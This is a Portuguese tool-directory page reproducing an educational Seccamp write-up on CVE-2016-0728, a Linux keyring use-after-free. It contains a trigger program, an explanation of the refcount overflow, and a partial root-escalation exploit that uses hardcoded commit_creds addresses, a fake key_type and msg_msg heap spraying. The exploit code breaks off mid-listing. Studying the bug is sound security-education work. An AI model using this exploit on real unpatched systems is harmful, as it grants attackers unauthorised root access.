Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2016-0728 — Exploração educacional do kernel Linux para CVE-2016-0728 (use-after-free no serviço de retenção de chaves) com análise detalhada, código PoC e discussão de mitigação para escalonamento de privilégio. | Kitploit
Ferramentas/GitHubGitHub/hal0taso/cve-2016-0728
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

Exploração educacional do kernel Linux para CVE-2016-0728 (use-after-free no serviço de retenção de chaves) com análise detalhada, código PoC e discussão de mitigação para escalonamento de privilégio.

Ver Repositório
12há 9 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2016-0728

Seccamp 2017 - Tarefa

O programa abaixo explora uma vulnerabilidade presente nos kernels Linux 3.8 a 4.4. Explique o mau funcionamento causado pela execução deste programa. Além disso, descreva um exploit que realiza escalonamento de privilégios para root explorando ainda mais essa vulnerabilidade, explicando o ambiente de teste utilizado e os pontos de engenharia. Adicionalmente, liste o maior número possível de medidas de mitigação para esse tipo de ataque e explique cada uma delas. Não precisa entender completamente; descreva com suas próprias palavras as informações até onde você compreendeu, o processo de tentativa e erro, e suas impressões. Se houver sites ou referências consultadas, mencione essas fontes.

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introdução

O ambiente de teste é o seguinte:

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

Eu descobri essa vulnerabilidade recentemente e descreverei o que aprendi pesquisando e os testes que realizei nesse processo. Primeiro, explicarei o serviço de armazenamento de chaves usado neste programa, depois a vulnerabilidade Use-After-Free que o programa explora e sua causa, e também os problemas que surgem a partir disso. Esta vulnerabilidade foi registrada como CVE-2016-0728 e sua descrição geral foi baseada no seguinte site:

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Além disso, como eu também não conhecia o serviço de armazenamento de chaves do Linux, consultei a página de introdução ao serviço de retenção de chaves do Linux da IBM

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

e o código fonte do kernel Linux 3.19 usado no ambiente de teste

https://www.kernel.org/

Para enviar mensagens do kernel para o SO hospedeiro via rede, usei DEBUG HACKS - Técnicas e Ferramentas para Depuração Avançada (O'REILLY)

como referência.

Este programa (doravante chamado de leak.c) explora um bug no serviço de armazenamento de chaves do Linux, que leva a uma vulnerabilidade Use-After-Free. A vulnerabilidade Use-After-Free ocorre quando, devido a uma inconsistência no programa, um endereço de memória heap já liberado é referenciado, permitindo a execução de código arbitrário. Primeiro, explicarei a chamada de sistema keyctl() usada por este programa e descreverei o bug existente nela.

Cada processo pode criar um keyring específico para a sessão atual usando a chamada de sistema keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Esse keyring pode ser compartilhado entre processos por meio da referência ao nome. Se um processo já possui um keyring de sessão, essa chamada de sistema substitui o keyring de sessão por um novo keyring. Para entender melhor essa operação, consultei a função join_session_keyring no arquivo /security/keys/process_keys.c do código fonte do kernel. O código é o seguinte. Ao substituir o keyring de sessão por um novo, a função key_put é ignorada. A função key_put é responsável por descartar a referência ao keyring fornecido como argumento. Ignorá-la faz com que a referência ao novo keyring permaneça, levando a uma vulnerabilidade Use-After-Free.

Quando esse keyring é compartilhado entre processos, a contagem de referência interna armazenada no membro usage da estrutura key aumenta. O membro usage é do tipo atomic_t, que é definido como um typedef de uma struct contendo uma única variável int. Além disso, não há mecanismo para evitar o estouro desse membro, portanto, ao incrementá-lo repetidamente, é possível fazer com que ele ultrapasse o limite e chegue a zero. Quando o membro usage chega a zero, a coleta de lixo interna do subsistema de keyrings libera o keyring. Ao colocar um módulo do kernel que realiza operações arbitrárias do espaço do usuário nessa área liberada, é possível executar essas operações com privilégios de kernel.

No site de referência, quando o leak.c é compilado com a biblioteca keyutils e executado, o /proc/keys mostra que um keyring de sessão chamado leaked-key foi registrado e referenciado 100 vezes. Foi verificado que o leaked-keyring aparecia da seguinte forma antes e depois da execução do programa:

# Antes da execução
$ cat /proc/keys
$ ./leak
# Após a execução
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

No entanto, no meu ambiente de teste, o leaked-keyring não apareceu. Tentei usar um número grande como condição do loop for, como i < 0x1000000, e durante a execução do programa o leaked-keyring era exibido. O ataque funciona ao fazer o membro usage transbordar, liberar o key e então colocar um novo objeto do kernel nesse local. Então resolvi tentar. O código do exploit foi baseado no seguinte site:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}
Baixar ferramenta